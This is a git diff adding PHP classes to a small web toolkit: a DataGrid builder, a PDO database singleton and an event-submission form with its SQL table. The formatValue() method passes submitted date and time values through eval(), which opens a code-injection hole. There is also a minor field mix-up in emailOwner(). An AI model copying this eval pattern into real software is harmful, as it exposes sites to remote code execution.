+     * Rendering options for DataGrid
+        *
+     * @var    array    
+     * @access protected
+     */
+       protected $rendererOptions = array(
+               'sortIconASC' => '&uArr;',
+               'sortIconDESC'  => '&dArr;',
+               'evenRowAttributes' => 'class="even"',
+               'oddRowAttributes' => 'class="odd"',
+               'sortingResetsPaging' => false,
+       );
+
+    /**
+     * Rendering options for DataGrid paging element
+        *
+     * @var    array    
+     * @access protected
+     */
+       protected $pagerOptions = array(
+               'nextImg' => 'Next',
+               'prevImg' => 'Previous',
+               'separator' => '',
+               'spacesBeforeSeparator' => 0,
+               'spacesAfterSeparator' => 0,
+               'containerClass' => 'paging',
+       );
+
+    /**
+     * SQL query used to obtain the DataGrid
+        *
+     * @var    unknown  
+     * @access protected
+     */
+       protected $sql;
+
+    /**
+     * How many records must exist in the Datagrid before the sort form shows up
+        *
+     * @var    integer  
+     * @access protected
+     */
+       protected $sortableAfter = 10;
+
+    /**
+     * The HTML table id of the DataGrid
+        *
+     * @var    string   
+     * @access protected
+     */
+       protected $tableId = 'dataGrid';
+
+    /**
+     * The HTML class name of the DataGrid
+        *
+     * @var    string   
+     * @access protected
+     */
+       protected $tableClass = 'dataGrid';
+
+    /**
+     * The HTML id of the DataGrid sorting form (when present)
+        *
+     * @var    string   
+     * @access protected
+     */
+       protected $sortFormId = 'gridSorter';
+
+       /**
+        * Message to display to users if no records were found
+        *
+        * @var         String
+        * @access      Protected
+        * @see         Toolkit_DataGridBuilder::setNoRecordMessage()
+        */
+       protected $noRecMessage = 'No Records';
+
+       //      }}}
+       //      {{{ __construct()
+
+    /**
+     * DataGrid constructor
+     * 
+     * Instantiates a DataGrid and sets up when to make the grid sortable
+     * 
+        * @param PDO     $pdo          PDO object used in the datagrid
+     * @param integer $limit        The number of records to display per page.
+     * @param integer $page         The current page view. In most cases,
+        *                                                              this is useless. Note: if you specify
+        *                                                              this, the "page"GET variable will be ignored.
+     * @param string  $rendererType The type of renderer to use. You may
+        *                                                              prefer to use the $type argument of
+        *                                                              render, fill or getOutput.
+        *
+     * @return void   
+     * @access public 
+     */
+       public function __construct(
+        PDO $pdo,
+        $limit = null,
+        $page = null,
+        $rendererType = null
+    ) {
+               parent::__construct($limit, $page, $rendererType);
+
+               $this->options = array('dbc' => $pdo);
+               if (!is_null($limit)) {
+                       $this->sortableAfter = $limit;
+               }
+       }
+
+       //      }}}
+
+    //  {{{ configureColumns()
+
+    /**
+     * configure retrieved columns
+     *
+     * Tells the DataGrid how to render the retrieved columns
+     * 
+        * @return void
+     * @access protected
+     */
+    abstract protected function configureColumns();
+
+    //  }}}
+
+       //      {{{ setNoRecordMessage()
+
+    /**
+     * The message to display if no results were found from the sql query
+     * 
+     * @param string $msg No result message.
+        *
+     * @return void   
+     * @access public 
+     */
+       public function setNoRecordMessage($msg)
+       {
+               $this->noRecMessage = $msg;
+       }
+
+       //      }}}
+       //      {{{ setQuery()
+
+    /**
+     * Sets the sql query to use in the DataGrid to get the results
+     * 
+     * @param string $sql The SQL query
+        *
+     * @return void   
+     * @access public 
+     */
+       public function setQuery($sql)
+       {
+               $this->sql = $sql;
+       }
+
+       //      }}}
+       //      {{{ show()
+
+    /**
+     * Displays the DataGrid results
+     * 
+     * @return void  
+     * @access public
+     */
+       public function show()
+       {
+               echo $this->toHTML();
+       }
+       
+       //      }}}
+
+       //      {{{ toHTML()
+
+    /**
+     * returns a HTML table of the datagrid
+     * 
+     * @return string
+     * @access public 
+     */
+       public function toHTML()
+       {
+        $this->configureColumns();
+
+               try {
+                       $bind = $this->bind($this->sql, $this->options, 'PDO');
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+
+               if (PEAR::isError($bind)) {
+            return Toolkit_Common::handleError($bind);
+               } elseif (($recCount = $this->getRecordCount()) > 0) {
+                       $this->setRendererOptions($this->rendererOptions);
+                       $renderer =& $this->getRenderer();
+                       //      Allows us to turn off the id name for the table,
+                       //      when we subclass this class out.
+                       if ($this->tableId) {
+                               $renderer->setTableAttribute('id', $this->tableId);
+                       }
+                       //      Allows us to turn off the class name for the table,
+                       //      when we subclass this class out.
+                       if ($this->tableClass) {
+                               $renderer->setTableAttribute('class', $this->tableClass);
+                       }
+                       $gridBody = $this->getOutput();
+
+                       if (PEAR::isError($gridBody)) {
+                return Toolkit_Common::handleError($gridBody);
+                       }
+
+                       $gridPager = $this->getOutput(
+                DATAGRID_RENDER_PAGER,
+                               array('pagerOptions' => $this->pagerOptions)
+            );
+                       if (PEAR::isError($gridPager)) {
+                return Toolkit_Common::handleError($gridPager);
+                       }
+
+                       if ($recCount > $this->sortableAfter) {
+                               $form    = new Toolkit_SortForm($this->sortFormId);
+                               $options = array('directionStyle' => 'radio');
+                               $this->fill($form, $options, DATAGRID_RENDER_SORTFORM);
+                               //      Datagrid never ads a submit button.
+                               $form->addElement('submit', null, 'Submit');
+                               $gridSorter = $form->toHTML();
+                       }
+
+                       return $gridPager . $gridSorter . $gridBody . $gridPager;
+               } else {
+                       return "<h2>{$this->noRecMessage}</h2>";
+               }
+       }
+               
+       //      }}}
+}
+?>
diff --git a/Toolkit/Database.php b/Toolkit/Database.php
new file mode 100644 (file)
index 0000000..e5229ad
--- /dev/null
@@ -0,0 +1,123 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Database Singleton
+ *
+ * PHP version 5
+ *
+ * @category Database
+ * @package  Toolkit_Database
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: Database.php,v 1.1 2009/12/15 20:18:15 jamie Exp $
+ * @link     http://demo.gaslightmedia.com
+ */
+
+/**
+ * Database Singleton class
+ *
+ * @category  Database
+ * @package   Toolkit_Database
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight Media
+ * @license      http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Database
+{
+       //      {{{     properties
+
+    /**
+     * Database handler object
+        *
+     * @var PDO
+     * @access private
+     */
+       private $_dbh;
+
+    /**
+     * Class instance
+        *
+     * @var Toolkit_Database
+     * @access private
+     */
+       private static $_instance;
+
+       //      }}}
+       //      {{{     __construct()
+
+       /**
+        * Class constructor
+        *
+        * Make the database handler connection for the class
+        *
+        * @access private
+        */
+       private function __construct()
+       {
+               try {
+                       $dsn = 'pgsql:' . CONN_STR;
+                       //      Keep the fetch mode set to FETCH_BOTH, we use
+                       //      associative arrays throughout our apps, but some PEAR lib
+                       //      apps require numerical indicies to work correctly.
+                       //      i.e. (DataGrids working w/ PDO's)
+                       $driverOptions = array(
+                               PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_BOTH,
+                       );
+                       $this->_dbh = new PDO($dsn, null, null, $driverOptions);
+                       $this->_dbh->setAttribute(
+                               PDO::ATTR_ERRMODE,
+                               PDO::ERRMODE_EXCEPTION
+                       );
+                       $this->_dbh->query("SET DATESTYLE TO 'SQL,US'");
+               } catch (PDOException $e) {
+                       Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     __clone()
+
+       /**
+        * Clone magic method
+        *
+        * Don't allow cloning of instances of this class
+        * which could potentially duplicate system resources
+        * and make extra DB connections
+        *
+        * @return void
+        * @access private
+        */
+       private function __clone()
+       {
+               //      Do nothing so we don't create duplicate resources
+       }
+
+       //      }}}
+
+       //      {{{     getInstance()
+
+       /**
+        * Get an instance of this class
+        *
+        * If this object hasn't been instantiated once already
+        * then create the object and return the dbh.
+        * Otherwise just return the already instantiated dbh.
+        *
+        * @return PDO $_instance database handler instance
+        * @access public
+        * @static
+        */
+       public static function getInstance()
+       {
+               if (!(self::$_instance instanceof self)) {
+                       self::$_instance = new self();
+               }
+
+               return self::$_instance->_dbh;
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Events/AddEventForm.php b/Toolkit/Events/AddEventForm.php
new file mode 100755 (executable)
index 0000000..e6570b3
--- /dev/null
@@ -0,0 +1,904 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * New Event Form
+ *
+ * PHP version 5
+ *
+ * @category Events
+ * @package  Toolkit_Events
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: AddEventForm.php,v 1.1.1.1 2009/09/17 20:08:57 matrix Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * New Event Form
+ *
+ * @category  Events
+ * @package   Toolkit_Events
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Events_AddEventForm
+    extends Toolkit_FormBuilder implements Toolkit_Form
+{
+       //      {{{     properties
+
+    /**
+     * Table in Database which holds the contact data
+        *
+     * @var    string
+     * @access public
+     */
+       public $tableName = 'event';
+
+    /**
+     * Table meta data
+        *
+        * This is used when inserting/updating data for the records
+        * so the PDO's can use explicit data types for the parameters.
+        *
+     * @var    array 
+     * @access public
+     */
+       public $tableMetaData;
+
+    /**
+        * Who to send the email to when the contact form is submitted
+        *
+        * If you leave this blank, its value will get set to the OWNER_EMAIL
+        * in the constructor.
+        *
+        * If you ***DO NOT*** want any emails to go out when the form is submitted
+        * then set the value to false. Do not set it to 0 for false, because the
+        * check uses a strict type check to determine if the value is actually
+        * false. This is what allows for the empty value as an option, which sets
+        * the value to OWNER_EMAIL and won't override the $email property if
+        * this class gets subclassed and the value for this property gets set in
+        * the properties of the subclass and not in the constructor after this
+        * constructor function is called.
+        *
+        * tongue twister...I know.
+        * <code>
+        * protected $email = false;
+        * </code>
+        *
+     * @var    unknown  
+     * @access protected
+     */
+       protected $email;
+
+    /**
+     * From header in the owner email
+        *
+        * This just sets the From header in the owner email
+        * SITENAME <from@email.com>
+        *
+        * It gets set to the constant SITENAME in the constructor if you leave
+        * empty here, but you can set it to something different here to override
+        * that if you desire.
+        *
+     * @var    unknown  
+     * @access protected
+     */
+       protected $siteName;
+
+    /**
+        * Email subject and <h1> header in email
+        * 
+        * It gets set in the constructor if you leave empty here, but you
+        * can set it to something different here to override that if you desire.
+        *
+     * @var    string   
+     * @access protected
+     */
+       protected $subject = 'New Event Submission';
+
+    /**
+     * Message to display if the form is successfully submitted
+        *
+     * @var    string   
+     * @access protected
+     */
+       protected $successMsg = '
+               <div id="form-success-top">
+            Thank you!
+               </div>';
+
+    /**
+     * Extra rules for processesing
+        * 
+        * This registers the Zip validation rules (and any others listed) for
+        * QuickForm.
+        *
+        * Zip validation checks both US and Canadian Zip codes
+        *
+     * @var    array    
+     * @access protected
+     */
+       protected $registeredRules = array(
+        'phone',
+        array(
+            'checkEmail',
+            'callback',
+            'email',
+            'Validate'
+        ),
+        array(
+            'checkURI',
+            'callback',
+            'uri',
+            'Validate'
+        )
+    );
+
+    /**
+     * Options for flexy templating engine
+        *
+        * Pulls the preset options from the setup.phtml file
+        * overwrites the templateDir and compileDir to match this classes needs
+        *
+     * @var    array    
+     * @access protected
+     */
+       protected $flexyOptions;
+
+       //      }}}
+       //      {{{     __construct()
+
+       /**
+        * Class constructor
+        *
+     * @param PDO    $pdo         PHP Data Object
+     * @param string $formName    Form's name.
+     * @param string $method      (optional)Form's method defaults to 'POST'
+     * @param string $action      (optional)Form's action
+     * @param string $target      (optional)Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional)Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional)Whether to track if the form was
+        *                                                        submitted by adding a special hidden field
+        * 
+        * @access public
+        */
+       public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+
+        $this->dbh = $pdo;
+
+               //      Default Renderer Form templates for QuickForm in respect to this
+               //      classes needs.
+               $this->template = dirname(__FILE__) . '/templates/currentTables/';
+               if ($this->email !== false && empty($this->email)) {
+                       //      Set to false to turn off email function.
+                       $this->email = OWNER_EMAIL;
+               }
+               if (empty($this->siteName)) {
+                       $this->siteName = SITENAME;
+               }
+               if (empty($this->subject)) {
+                       $this->subject = 'Contact Request from website ' . SITENAME;
+               }
+
+               $this->flexyOptions                = $GLOBALS['flexyOptions'];
+               $this->flexyOptions['templateDir'] = dirname(__FILE__) . "/templates/";
+               $this->flexyOptions['compileDir']  = dirname(__FILE__) . "/templates/compiled/";
+
+               $var = basename(__FILE__, '.php');
+
+               $callbackUrl = ($_SERVER['HTTPS'] == 'on') ?
+                                                         BASE_SECURE_URL : BASE_URL;
+
+               $this->captchaOptions = array(
+                       'width' => 100,
+                       'height' => 50,
+                       'callback' => "{$callbackUrl}Toolkit/qfcaptcha.php?var=$var",
+                       'sessionVar' => $var,
+                       'imageOptions' => array(
+                               'font_size' => 16,
+                               'font_path' => GLM_APP_BASE . 'glmPEAR/Image/Canvas/Fonts/',
+                               'font_file' => 'times.ttf',
+                               'background_color' => '#cccccc',
+                               'obfuscation' => false,
+                               'angle' => true,
+                       ),
+               );
+       }
+
+       //      }}}
+
+    //  {{{ checkDate()
+
+    /**
+     * Validate date input
+     * 
+     * allows for empty dates to be valid
+     *
+     * @param array $date date group from form
+     *
+     * @return boolean true if valid, false if not
+     * @access public
+     */
+    public function checkDate($date)
+    {
+        $validate = false;
+        foreach ($date as $i) {
+            if (is_numeric($i)) {
+                $validate = true;
+                break;
+            }
+        }
+
+        if ($validate) {
+            //  at least on date list had a number in it.
+            $d = implode('-', $date);
+            return Validate::date($d, array('format' =>'%n-%j-%Y'));
+        } else {
+            // no date numbers were selected
+            return true;
+        }
+    }
+
+    //  }}}
+    //  {{{ checkDateRange()
+
+    /**
+     * Validate date input
+     * 
+     * allows for empty end date to be valid
+     *
+     * @param array $d date group from form
+     *
+     * @return boolean true if valid, false if not
+     * @access public
+     */
+    public function checkDateRange(array $d)
+    {
+        if (!$this->hasEndDate($d[1])) {
+            //  no end date is a valid date range
+            return true;
+        }
+
+        $t1    = mktime(0, 0, 0, $d[0]['m'], $d[0]['d'], $d[0]['Y']);
+        $bdate = new Date($t1);
+        $t2    = mktime(0, 0, 0, $d[1]['m'], $d[1]['d'], $d[1]['Y']);
+        $edate = new Date($t2);
+        
+        //  0 if the dates are equal - valid
+        // -1 if $bdate is before $edate - valid
+        //  1 if $bdate is after $edate - invalid
+        $res = Date::compare($bdate, $edate);
+        return ($res !== 1);
+    }
+
+    //  }}}
+       //      {{{     configureElements()
+
+    /**
+     * Form element definitions
+     * 
+     * @return void     
+     * @access public 
+     */
+       public function configureElements()
+       {
+        $e = array();
+
+               //      All Elements are created here.  This includes group element definitions.
+        $e[] = array(
+            'type' => 'text',
+            'req' => true,
+            'name' => 'header',
+            'display' => 'Event Name'
+        );
+        $e[] = array(
+            'type' => 'date',
+            'req' => true,
+            'name' => 'bdate',
+            'display' => 'Start Date',
+            'opts' => array(
+                'format'   => 'm / d / Y',
+                'minYear'  => date('Y'),
+                'maxYear'  => date('Y') + 5,
+                'addEmptyOption' => true,
+                'emptyOptionValue' => '',
+                'emptyOptionText' => array(
+                    'm' => 'mm',
+                    'd' => 'dd',
+                    'Y' => 'yyyy'
+                ),
+            ),
+            'att' => array('class' =>'sdate'),
+        );
+        $e[] = array(
+            'type' => 'date',
+            'req' => false,
+            'name' => 'edate',
+            'display' => 'End Date',
+            'opts' => array(
+                'format'   => 'm / d / Y',
+                'minYear'  => date('Y'),
+                'maxYear'  => date('Y') + 5,
+                'addEmptyOption' => true,
+                'emptyOptionValue' => '',
+                'emptyOptionText' => array(
+                    'm' => 'mm',
+                    'd' => 'dd',
+                    'Y' => 'yyyy'
+                ),
+            ),
+            'att' => array('id' =>'edate'),
+        );
+        $e[] = array(
+            'type' => 'date',
+            'req' => true,
+            'name' => 'btime',
+            'display' => 'Start Time',
+            'opts' => array(
+                'format'   => 'h : i A',
+                'addEmptyOption' => true,
+                'emptyOptionValue' => '',
+                'emptyOptionText' => array(
+                    'h' => 'hh',
+                    'i' => 'mm',
+                    'A' => 'am/pm'
+                ),
+                'optionIncrement' => array(
+                    'i' => 15,
+                ),
+            ),
+            'error' => 'ERROR: You must select a start time!',
+        );
+        $e[] = array(
+            'type' => 'date',
+            'req' => false,
+            'name' => 'etime',
+            'display' => 'End Time',
+            'opts' => array(
+                'format'   => 'h : i A',
+                'addEmptyOption' => true,
+                'emptyOptionValue' => '',
+                'emptyOptionText' => array(
+                    'h' => 'hh',
+                    'i' => 'mm',
+                    'A' => 'am/pm'
+                ),
+                'optionIncrement' => array(
+                    'i' => 15,
+                ),
+            ),
+        );
+        $e[] = array(
+            'type' => 'select',
+            'req' => true,
+            'name' => 'topicid',
+            'display' => 'Topic',
+            'opts' => $this->getTopicFields(),
+        );
+        $e[] = array(
+            'type' => 'text',
+            'req' => true,
+            'name' => 'loc',
+            'display' => 'Location'
+        );
+        $e[] = array(
+            'type' => 'text',
+            'req' => false,
+            'name' => 'url',
+            'display' => 'Website'
+        );
+        $e[] = array(
+            'type' => 'textarea',
+            'req' => false,
+            'name' => 'descr',
+            'display' => 'Description'
+        );
+        $e[] = array(
+            'type' => 'text',
+            'req' => true,
+            'name' => 'contact',
+            'display' => 'Contact Person'
+        );
+        $e[] = array(
+            'type' => 'text',
+            'req' => true,
+            'name' => 'email',
+            'display' => 'Contact Email'
+        );
+        $e[] = array(
+            'type' => 'text',
+            'req' => true,
+            'name' => 'phone',
+            'display' => 'Contact Phone'
+        );
+        if ($this->useCaptcha) {
+            $e[] = array(
+                'type' => 'CAPTCHA_Image',
+                'req' => false,
+                'name' => 'captcha_question',
+                'display' => 'Verification code',
+                'opts' => $this->captchaOptions
+            );
+            $e[] = array(
+                'type' => 'text',
+                'req' => true,
+                'name' => 'captcha_rmv',
+                'display' => 'Enter verification code',
+            );
+        }
+               $e[] = array(
+            'type' => 'submit',
+            'req' => false,
+            'name' => 'submit_rmv',
+            'display' => 'Submit'
+        );
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+       //      {{{     configureFilters()
+
+    /**
+     * Form filter definitions
+     * 
+        * Applies a data filter for the given fields when the form is submitted
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureFilters()
+       {
+        $f = array();
+
+               $f[] = array(
+            'element' => '__ALL__',
+            'filter' => 'trim'
+        );
+
+        $this->setupFilters($f);
+       }
+
+       //      }}}
+    //  {{{ configureForm()
+
+    /**
+     * Helper function to handle setting up the form
+     *
+     * @return void
+     * @access public
+     */
+    public function configureForm()
+    {
+        $this->configureElements();
+        $this->configureFilters();
+        $this->configureRules();
+    }
+
+    //  }}}
+       //      {{{     configureRules()
+
+    /**
+     * Form rule definitions
+     * 
+        * Adds validation rules for the given fields
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureRules()
+       {
+               //      Form Rules
+               $r[] = array(
+            'element' => 'topicid',
+            'message' => 'ERROR: Invalid Topic!',
+            'type' => 'numeric',
+            'format' => null,
+            'validation' => $this->validationType,
+            'reset' => true,
+            'force' => false
+        );
+               $r[] = array(
+            'element' => 'email',
+            'message' => 'ERROR: Invalid Email Format!',
+            'type' => 'checkEmail',
+            'format' => array('use_rfc822' => true),
+            'validation' => $this->validationType,
+            'reset' => true,
+            'force' => false
+        );
+        $r[] = array(
+            'element' => array('bdate', 'edate'),
+            'message' => 'ERROR: Starting Date must be before Ending Date',
+            'type' => 'callback',
+            'format' => array(&$this, 'checkDateRange'),
+            'validation' => $this->validationType,
+            'reset' => false,
+            'force' => false
+        );
+        $r[] = array(
+            'element' => 'bdate',
+            'message' => 'ERROR: Invalid date!',
+            'type' => 'callback',
+            'format' => array(&$this, 'checkDate'),
+            'validation' => $this->validationType,
+            'reset' => false,
+            'force' => false
+        );
+        $r[] = array(
+            'element' => 'edate',
+            'message' => 'ERROR: Invalid date!',
+            'type' => 'callback',
+            'format' => array(&$this, 'checkDate'),
+            'validation' => $this->validationType,
+            'reset' => false,
+            'force' => false
+        );
+        $r[] = array(
+            'element' => 'url',
+            'message' => 'ERROR: Please include full address! ('.BASE_URL.')',
+            'type' => 'checkURI',
+            'format' => array(
+                'allowed_schemes' => array('http', 'https'),
+                'strict' => true
+            ),
+            'validation' => $this->validationType,
+            'reset' => false,
+            'force' => false
+        );
+               $r[] = array(
+            'element' => 'phone',
+            'message' => 'ERROR: Invalid Phone Format (xxx) xxx - xxxx!',
+            'type' => 'phone',
+            'format' => null,
+            'validation' => $this->validationType,
+            'reset' => true,
+            'force' => false
+        );
+        if ($this->useCaptcha) {
+            $r[] = array(
+                'element' => 'captcha_rmv',
+                'message' => 'ERROR: What you entered didn\'t match!',
+                'type' => 'CAPTCHA',
+                'format' => $this->captchaQuestion,
+                'validation' => $this->validationType,
+                'reset' => true,
+                'force' => false
+            );
+        }
+
+               $this->setupRules($r);
+       }
+
+       //      }}}
+
+       //      {{{     getTopicFields()
+
+    /**
+     * get event topics
+     * 
+     * @return array topics
+     * @access protected
+     */
+       protected function getTopicFields()
+       {
+               try {
+                       $sql = "
+                SELECT *
+                  FROM topic
+                 ORDER BY descr";
+
+            $topics = array('' => '-- Select --');
+                       foreach ($this->dbh->query($sql) as $row) {
+                               $topics[$row['id']] = $row['descr'];
+                       }
+
+                       return $topics;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+    //  {{{ hasEndDate()
+
+    /**
+     * verifies if we have a valid end date to work with
+     *
+     * @param array $d end date
+     *
+     * @return boolean if the end date is 
+     */
+    protected function hasEndDate(array $d)
+    {
+        return checkdate((int) $d['m'], (int) $d['d'], (int) $d['Y']);
+    }
+
+    //  }}}
+
+       //      {{{     emailOwner()
+
+    /**
+     * Emails the owner the submitted data from the submitted form
+     * 
+        * Uses a flexy template to render a nice looking html email.
+        * Fills in the supplied data from the form and doesn't add the
+        * empty fields the user didn't fill in.
+        *
+     * @return boolean   result of the mailing
+     * @access protected
+     */
+       protected function emailOwner()
+       {
+               if (!$this->email) {
+                       return;
+               }
+
+               $template = new HTML_Template_Flexy($this->flexyOptions);
+               $page     = new stdClass();
+        // for comments textarea need to replace newlines with br
+        $this->formData['comments']['element'] = nl2br($this->getSubmitValue('comments'));
+
+        //  these values are required, therefor will always be part of
+        //  the formData array
+        $bdate = explode('/', $this->formData['bdate']['element']);
+        $foo   = array_map('trim', $bdate);
+        $this->formatValue($foo, '%02d/%02d/%d');
+        $this->formData['bdate']['element'] = $foo;
+
+        $btime = explode('/', $this->formData['btime']['element']);
+        $foo   = array_map('trim', $btime);
+        $this->formatValue($foo, '%02d:%02d %s');
+        $this->formData['btime']['element'] = $foo;
+
+        //  not required, so check to make sure it exists before trying
+        //  to format the value
+        if (isset($this->formData['edate'])) {
+            $edate = explode('/', $this->formData['edate']['element']);
+            $foo   = array_map('trim', $edate);
+            $this->formatValue($foo, '%02d/%02d/%d');
+            $this->formData['edate']['element'] = $foo;
+        }
+        if (isset($this->formData['etime'])) {
+            $etime = explode('/', $this->formData['etime']['element']);
+            $foo   = array_map('trim', $etime);
+            $this->formatValue($foo, '%02d:%02d %s');
+            $this->formData['btime']['element'] = $foo;
+        }
+
+        try {
+            $sql = "
+                SELECT descr
+                  FROM topic
+                 WHERE id = :id";
+            
+            $stmt = $this->dbh->prepare($sql);
+            $stmt->bindParam(
+                ':id',
+                $this->formData['topicid']['element'],
+                PDO::PARAM_INT
+            );
+            $stmt->execute();
+            $stmt->bindColumn('descr', $this->formData['topicid']['element']);
+            $stmt->fetch();
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+
+               $page->email_from    = FROM_NEWS_EMAIL;
+               $page->subject       = $this->subject;
+               $page->formData      = $this->formData;
+        $page->eventAdminURL = BASE_URL.'admin/Events/list_events.phtml?pending=t';
+               
+               $template->compile('emailOwner.tpl');
+               $htmlMsg = $template->bufferedOutputObject($page);
+
+               //      Text version can't have HTML in it
+               $msg  = "{$page->subject}\n\n";
+               $msg .= "From {$page->fname} {$page->lname}\n\n";
+               $msg .= "Information\n\n";
+               foreach ($page->formData as $i) {
+                       $msg .= "{$i['label']}: {$i['element']}\n";
+               }
+
+               $crlf     = "\n";
+               $mimeMail = new Mail_mime($crlf);
+               $mimeMail->setFrom("{$this->siteName} <{$page->email_from}>");
+               $mimeMail->setSubject($this->subject);
+               $mimeMail->setHTMLBody($htmlMsg);
+               $mimeMail->setTXTBody($msg);
+
+               $mail    =& Mail::factory('mail');
+               $body    = $mimeMail->get();
+               $headers = $mimeMail->headers();
+
+               $res = $mail->send($this->email, $headers, $body);
+               if (PEAR::isError($res)) {
+                       return Toolkit_Common::handleError($res);
+               } else {
+                       return $res;
+               }
+       }
+
+       //      }}}
+
+    //  {{{ formatValue()
+
+    /**
+     * Format an array into an acceptable string
+     *
+     * @param mixed  &$i     array values to format or null value for
+     *                       element that was not filled in
+     * @param string $format string to format values into
+     *
+     * @return string formatted string
+     * @access public
+     */
+    public function formatValue(&$i, $format)
+    {
+        //  Allow for 0 to be not empty.  This allows for minutes in the
+        //  time arrays to be valid if they are on the hour ie. (1:00 pm)
+        $notEmpty = create_function('$v', 'return strlen($v) > 0;');
+        if (is_array($i) && count(array_filter($i, $notEmpty)) == 3) {
+            list($x, $y, $z) = array_values($i);
+            eval("\$i = sprintf('$format', $x, $y, $z);");
+        } else {
+            $i = null;
+        }
+    }
+
+    //  }}}
+
+       //      {{{     insertData()
+
+    /**
+     * Inserts contact data into the contact db
+     * 
+     * @param array $values submitted values
+        *
+     * @return object result of db insert query
+     * @access protected
+     */
+       protected function insertData($values)
+       {
+               try {
+            // need to set the dates up first
+            $this->formatValue($values['bdate'], '%02d/%02d/%d');
+            $this->formatValue($values['edate'], '%02d/%02d/%d');
+            $this->formatValue($values['btime'], '%02d:%02d %s');
+            $this->formatValue($values['etime'], '%02d:%02d %s');
+
+            $sql = Toolkit_Common::createSQLInsert(
+                $this->tableName,
+                array_keys($values)
+            );
+
+            return Toolkit_Common::processQuery($this->dbh, $sql, $values);
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{     processData()
+
+    /**
+     * Handles how to process the form when submitted
+     * 
+     * @param array $values Form submitted values
+        *
+     * @return array Result of Insert / Update function
+     * @access protected
+     */
+       public function processData($values)
+       {
+               //      Form data used for the insert/update sql queries and 
+               //      the form email.
+               $e = array();
+               $this->setFormData($e);
+
+               //      Get rid of any defined un-needed elements.
+               //      un-needed elements after the form is submitted are defined
+               //      by the ending _rmv name.
+               foreach ($values as $k => &$v) {
+                       if (preg_match('/^.+_rmv$/', $k)) {
+                               unset($values[$k]);
+                       }
+               }
+
+               return $this->insertData($values);
+       }
+
+       //      }}}
+
+       //      {{{     setupRenderers()
+
+    /**
+     * Custom rendering templates for special fields on the form
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function setupRenderers()
+       {
+               parent::setupRenderers();
+               $renderer =& $this->defaultRenderer();
+               $required = '<!-- BEGIN required --><span class="req">*</span><!-- END required -->';
+               $error    = '<!-- BEGIN error --><div class="req">{error}</div><!-- END error -->';
+
+               $renderer->setElementTemplate('<tr><td colspan="2">'.$required.'{label}'.$error.'{element}</td></tr>', 'descr');
+               $renderer->setElementTemplate('<tr align="center"><td colspan="2">'.$required.'{label}'.$error.'{element}</td></tr>', 'submit_rmv');
+
+        if ($this->useCaptcha) {
+            $renderer->setElementTemplate('<tr><td class="labelcell"><label>{label}</label></td><td class="fieldcell captcha">{element}</td></tr>', 'captcha_question');
+            $renderer->setElementTemplate('<tr><td class="labelcell">'.$required.'<label>{label}</label></td><td class="fieldcell">'.$error.'{element}<span class="tooltip" title="Verification Code|To help us distinguish between information submitted by individuals and those automatically entered by software robots, please type the letters shown.">What is this?</span></td></tr>', 'captcha_rmv');
+        }
+       }
+
+       //      }}}
+
+       //      {{{     toHtml()
+
+    /**
+     * Handles how to display the current step the user is at in the form
+     * 
+        * destroying and resetting the captcha value dis-allows someone from 
+        * re-sending a form on a previous captcha.
+        *
+     * @return string form HTML state
+     * @access public
+     */
+       public function toHtml()
+       {
+               $this->setupRenderers();
+               if ($this->validate()) {
+                       //$this->captchaQuestion->destroy();
+                       $this->cleanForm();
+
+                       if ($this->process(array(&$this, 'processData'), $this->mergeFiles)) {
+                               $this->freeze();
+                               $this->emailOwner();
+                               $output = $this->successMsg;
+                       }
+            $this->sent = true;
+               } elseif ($this->isSubmitted()) {
+            if ($this->useCaptcha) {
+                $this->captchaQuestion->destroy();
+                $this->captchaAnswer->setValue('');
+            }
+                       $output  = $this->errorMsg;
+                       $output .= parent::toHtml();
+               } else {
+            if ($this->useCaptcha) {
+                $this->captchaQuestion->destroy();
+                $this->captchaAnswer->setValue('');
+            }
+                       $output = parent::toHtml();
+               }
+               return $output;
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Events/events.sql b/Toolkit/Events/events.sql
new file mode 100644 (file)
index 0000000..21a4f18
--- /dev/null
@@ -0,0 +1,33 @@
+CREATE TABLE event (
+id          SERIAL PRIMARY KEY, 
+topicid     INTEGER DEFAULT 0,
+bdate       DATE,
+edate       DATE,
+loc         TEXT,
+header      TEXT,
+descr       TEXT,
+img         TEXT,
+url         TEXT,
+contact     TEXT,
+phone       TEXT,
+email       TEXT,
+btime       TEXT,
+etime       TEXT,
+visable     BOOLEAN DEFAULT false,
+home        BOOLEAN DEFAULT false,
